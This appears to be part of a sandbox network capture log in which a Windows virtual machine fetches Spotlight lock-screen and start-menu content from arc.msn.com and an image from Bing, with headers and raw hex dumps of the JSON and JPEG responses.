t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAXEGD5wQT41Dgecj+gV/IHI/acbcSkOi6l3XO7M6oF0Y5Mz++MZj8RJ82JqatEFdgROSNt+d6o1QrBOa3zuDqyiKAdTJM5O2LTIabasniSG0ZZhuZA1C7umy2pB+nf5tyLqZ/OpXiOJMb3LSPLWRpNJCkvx7DVGytSjWPkW4q3yrC3tgJ0UIS7eS/SgEEJZJXYyf/5fFH24plv9HBM3Wzyuq01X/UUItGxJ9mhAPnSzeQG+Iwg5+5Y15V7nWAQl5MzZmds9hAtVVcV+lkXfEf70NwEGLfbmjtaTIIbVH2wHRsIJADWseGiwg/4Bhdmb4KaFKtxxJ4cIZBwq76wCvSVUQZgAAEAmebN9+6uh4bKF4+k6dwyywAajJL5IWO3ETmOKtN7oE746JGIAbROhE/K+eoPK8C3pN4+pf67HEqQ62sw3ElbYVSL448vLyqnJre/oFmlrGZC7hLr8KUqHcDgCf/6L+N+XxUjRqztyR//WcJIYCV+TugNBMVY9pM3V17oHj2deuo1tXI9sRAZhkwnSJVdBejzSJzGJ+rwl1a6RhwwZhZkDG0o/+1r2hB48lwIasOhOatkrDUOjs6qgFinwN5W2unddrqekhPDySO4VLowI40hCpD2nVX3mKrvjfon4knCHnMCaX7qwRE1yei8xHsHVoBxsDltwKX8MjlmmimbqBa6iLWxRRE2DWeOBiFY7NVQhlJA5Dknwy1yL1fyeA+SKCCEzMPN5dc0ElmyjZ26XJGgKg1gFiXUZXqJr7LY7nIedPPEEP75hdPhjMoAqTWztS5X6vz7LuFEpKdsqt9eKiwPKlqw90nt6JWm1uWUTn92Qi+HyfC3pGnoSzauoYi59Wm0UHeB4LYUCu5oiugTYLxeBFnYgMeZO4EYG+sCo680uJg9PSVt8V3DDsLBvXKE+ejXwcpLXKzi+f3RufYhGh+WmsrdcB&p= Cache-Control: no-cache MS-CV: 3Vm+Jn6XVk6c/Y5v.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 15:31:12 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: ZmnaGu9NMwREUzFPU3GtHz7dLViE84cyNjYYxfKFAQHMDggWhWgFSGdc0GFKmRPqbKz9Mjf56U8n7tBabZpYzlzPw3WQobq10h157wSTjQ5gERbfbHxdSQCh9PFDh/ysNuSrCP7uafNpL2Keao9EbhDCsS0GfrIz5F7AOUXdj0FWZMc873NAN12+uKMP9RLIPBehLBG2HtPvsiY1BePjtRiKWFaVyyoPEn7tQCIFV0UMiL5HSJf+CCTJwtDnTQAP7zqe2Ur1HLjJOYGq1aqxacDQcdcTt6HpoEaNAjNDKzdhij/ilbTYvSO9L1PyPorCy2jRVjh43giERacV8UnthQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:11 GMT Connection: close
2024-11-26 15:31:12 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49721	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	2638	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153111Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=370948da645842ad819dfed77369ff02&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338387&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=530911393,532151159,530725852&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p= Cache-Control: no-cache MS-CV: 3Vm+Jn6XVk6c/Y5v.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 15:31:14 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23610 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: bjdEiLJH/BZav8VbpMO7xZ6TBGl56bBXGu0LbIODbc5tI4QCbkzPiuBSb0IHAFz/gUhL4Zkt2YReLLqBdQBZh43fjPfYLUQr9G3IXit9BPiHR9TJb9lszJgpZ6tszl/TXLrcSAL1Gf2kJQm3lIXaqPnDZ+FQ5JuRS5OKH9HzoiiAxEsT0UE6qiAzdXOpAqpnAguygWSogth5+0JXmd4sExAOzj41qu9uUZ/NELx+1cVtIMfdaX8K/YWrHlr5reYkdrWeKW3+7vuPWRG9wZa31+0KYa42WvTEv9qp9fd0VUPCOebe19rGmInOhb4LzQjBsNgSJ1fLcgIWpiCr/sqOTw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:14 GMT Connection: close
2024-11-26 15:31:14 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-26 15:31:15 UTC	8041	IN	Data Raw: 4f 44 55 79 4f 44 45 30 4d 6a 6b 79 4f 54 41 35 4e 44 67 6a 4d 6a 4d 7a 4e 7a 41 34 4d 44 59 34 4e 44 6b 78 4d 54 63 34 4e 41 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a Data Ascii: ODUyODE0MjkyOTA5NDgjMjMzNzA4MDY4NDkxMTc4NA==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49722	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	2607	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153111Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ed3d001be68049bbb5f2765b5770c75e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=99999999&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p= Cache-Control: no-cache MS-CV: 3Vm+Jn6XVk6c/Y5v.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 15:31:15 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 2299 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: peRU6SO+JL26pxvEyVptLk6FnJD8NZkoW7ZQF9QCRg64eiLxKk+l23mA+9ldHh1SuDnd7ujDHgCGXHt+xqP07guz3uHHcahmdlFewUwk+lPsBqy60PNRw1Uy1FuIHoisl6E0uusy8ff3ZgvX3F/1Pd6TlCb+IhnHkbLhmYG1y+9boZ6l5htC66rTj7ipZFHMdHSIoStDhhPwtGAfCVec00mDrb88UkMnWeqfQR+2tq5iblZhx+1QG6DfKTvT5k82myFv1nkiKkKthd9VEfpfYQr/q0veVMgZfpuu3MdeVNNSEWSW0xpTYY/88hH2AMXjQgKDaC2hW1iuoao6DL1kPw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:14 GMT Connection: close
2024-11-26 15:31:15 UTC	2299	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49726	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	375	OUT	GET /th?id=OADD2.10239370639595_1MX6CE6U5QJ1LNKB2&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:15 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 664170 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C34E32E1842547E483180ABF9E46CC76 Ref B: EWR30EDGE1408 Ref C: 2024-11-26T15:31:14Z Date: Tue, 26 Nov 2024 15:31:14 GMT Connection: close
2024-11-26 15:31:15 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1b 42 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 31 39 3a 35 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``BExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:19:548
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: aa d5 95 54 d4 6c 8d 28 db 9a e6 de dc 53 59 69 52 41 22 a9 1d 69 24 04 2d 71 9d 82 ee 1b 69 63 14 c5 00 d4 8a 40 a4 c0 6b a8 dd 9a a1 79 7d 1a 49 80 b5 2e a1 7a 8b ba 31 d6 b2 9c 6e 6c 9a d2 11 ea cc a7 2d 74 2c be a0 4f 45 a1 2f f6 af cc bb 8d 55 d9 f2 d0 c9 9a d2 d1 22 ec 96 69 84 9c 85 a8 a3 f9 aa 19 06 da 8e 1b 8d b2 66 ad 2d 08 e6 d4 b8 e8 2a ac d1 54 eb 30 dd cf 4a 26 8c 37 21 a8 4d a6 36 93 28 ed c5 57 b8 50 6a f3 c6 e1 7d ab 36 f9 cc 7b 81 ad a0 db 66 32 d1 11 6c ed 4d 9a 04 9b af 4a 9a d6 37 95 77 fd d1 53 34 21 7e 95 a7 3d 99 1c b7 5b 11 58 c5 15 af 11 44 ab bb ef 35 69 db 4f fc 5b 79 5a a9 66 91 bb 7c ed b4 ad 5f 6b 63 1b 31 4e 95 13 9d f7 2e 11 b6 c5 db 7b d7 0a a1 d5 71 fd e5 f4 ad 8b 3b 8b 79 21 e5 b6 9f f6 ab 01 23 22 3c 0a 92 37 65 6c 57 Data Ascii: Tl(SYiRA"i$-qic@ky}I.z1nl-t,OE/U"if-*T0J&7!M6(WPj}6{f2lMJ7wS4!~=[XD5iO[yZf\|_kc1N.{q;y!#"<7elW
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 99 97 3b 72 bf dd ad 69 c3 91 dc 8a 92 73 56 33 66 49 57 ef c4 ca 3f da a8 10 90 d9 ad 4b ab 89 26 5d 8f d1 7e ed 55 e0 b6 3e f0 ad d3 39 dc 52 7a 15 96 63 ba 9c b2 e7 9a 9f 62 16 e5 57 6f f1 55 79 94 23 60 74 aa dc 97 a1 22 cb e9 4f 59 06 ee 6a 8b 37 a5 26 f7 14 72 87 31 7d 8e 5a a6 8e cd e4 5c af cd 59 f0 cd 96 f9 ab 53 4d 9d 07 5f ee d4 4e e9 15 0b 36 49 6f 00 8d 95 0f 5a bf 1c 20 af fb b5 12 4b 1b 36 6a cc 33 63 f8 6b 9e 72 67 55 38 c5 11 fd 9b 62 e4 f4 6a 67 96 47 23 a5 4f 34 85 e9 8c d8 8f 1b aa 53 65 d9 05 b3 e3 70 3f c5 f7 a9 cb 10 93 9f ee d4 0a f8 6a 9d 26 40 b8 a3 51 e9 d4 6b 42 7f bd 4b 08 f2 fa 52 bc a0 d4 7e 67 7a 35 16 85 c4 76 6a 64 84 f4 35 02 4f 8a 6b 4b bb 8a 94 98 db 44 94 33 67 ad 40 f2 6d 6c 52 e4 b7 4a a2 2e 4f b8 0a ab 70 d8 e6 a6 Data Ascii: ;risV3fIW?K&]~U>9RzcbWoUy#`t"OYj7&r1}Z\YSM_N6IoZ K6j3ckrgU8bjgG#O4Sep?j&@QkBKR~gz5vjd5OkKD3g@mlRJ.Op
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 9b e1 af 15 e8 7e 32 8a d9 74 ed 7f 4f ff 00 48 58 65 96 28 25 89 96 37 60 18 67 1c 70 6b d4 8c a8 54 8d de 9a 1c 9f bd ba b2 d1 9e ad 7d a8 d9 5b 43 24 1e 6a db 2b 48 1e 39 2e ec 2e 23 e7 3c e7 7a e3 1d 45 49 05 fe 96 d3 7f a6 6a ba 5c a2 35 d8 ab 06 a5 12 33 7b 15 7c 16 1d eb d8 b4 5f 85 fe 08 36 7e 42 69 9e 20 b6 69 13 cb 69 23 d6 2e 37 e3 f1 62 3f 4a bb a8 7c 22 f0 1c b6 2c 96 cb ae db ca cb e5 f9 ad aa 49 33 28 ce 0e 16 5d c0 13 ea 07 15 e6 c7 31 a1 7d 99 d5 2c 3c d6 cd 1e 21 6d e2 1f 0e 2c cb 22 6a fa 6e d9 18 7e ed 6e 76 48 a7 83 9e 09 15 6a 4b dd 2e 6d 1e 53 1e ab 6d 73 0c b2 37 94 de 78 c4 85 78 1e f8 1b b3 51 7e d6 96 29 f0 b6 f3 41 b7 f0 85 fc e2 df 53 b6 b8 13 ae a0 b1 5e 6d 28 50 29 4f 31 09 43 f3 1e 45 5e fd 99 f4 21 f1 0f c1 97 5a 97 88 2f Data Ascii: ~2tOHXe(%7`gpkT}[C$j+H9..#<zEIj\53{\|_6~Bi ii#.7b?J\|",I3(]1},<!m,"jn~nvHjK.mSms7xxQ~)AS^m(P)O1CE^!Z/
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: dd dc 29 af a6 ca 15 9f 6b 2e d5 ae 9a dd a3 2c a0 d5 c9 0c 07 68 0b b8 55 3a ed 74 21 61 93 5b 9c 03 a3 a7 06 2f fc 76 91 59 3b af 35 e9 36 f0 5a 4f 1b 47 e4 2e e6 a4 fb 16 89 0c 7e 44 f0 2b 32 ff 00 16 da 9f ad ae c3 fa 9b fe 63 cf 63 c1 5f f5 1c 7f bb 4e 64 4e a6 06 ff 00 be 6b b6 9a 2d 28 fc 90 45 b4 ad 3f 4d b3 81 37 3e df 30 b5 53 c4 2b 5e c2 fa b3 be e7 0b b5 3b 44 d4 79 25 f8 11 37 fd f3 5d ac 96 f0 2c d9 11 2f fd f3 4a 8b 1f 40 ab 9a a5 59 3e 86 72 a2 e2 71 89 a7 dd b2 e5 20 97 1f ee d5 5b 59 a2 9b cd f2 27 8e 43 03 14 97 6b 6e f2 c8 ea 0d 7a 12 20 2d 81 f2 d7 95 6b 1e 2b f0 fd b7 88 2f 11 f4 58 e7 db 29 db 1c 70 04 6b 8c 9f bc 73 cf 5e f8 e6 bc dc d3 34 9e 0a 9c 65 18 73 5d d8 ee cb 72 e8 e2 e7 28 ca 4d 59 1b 36 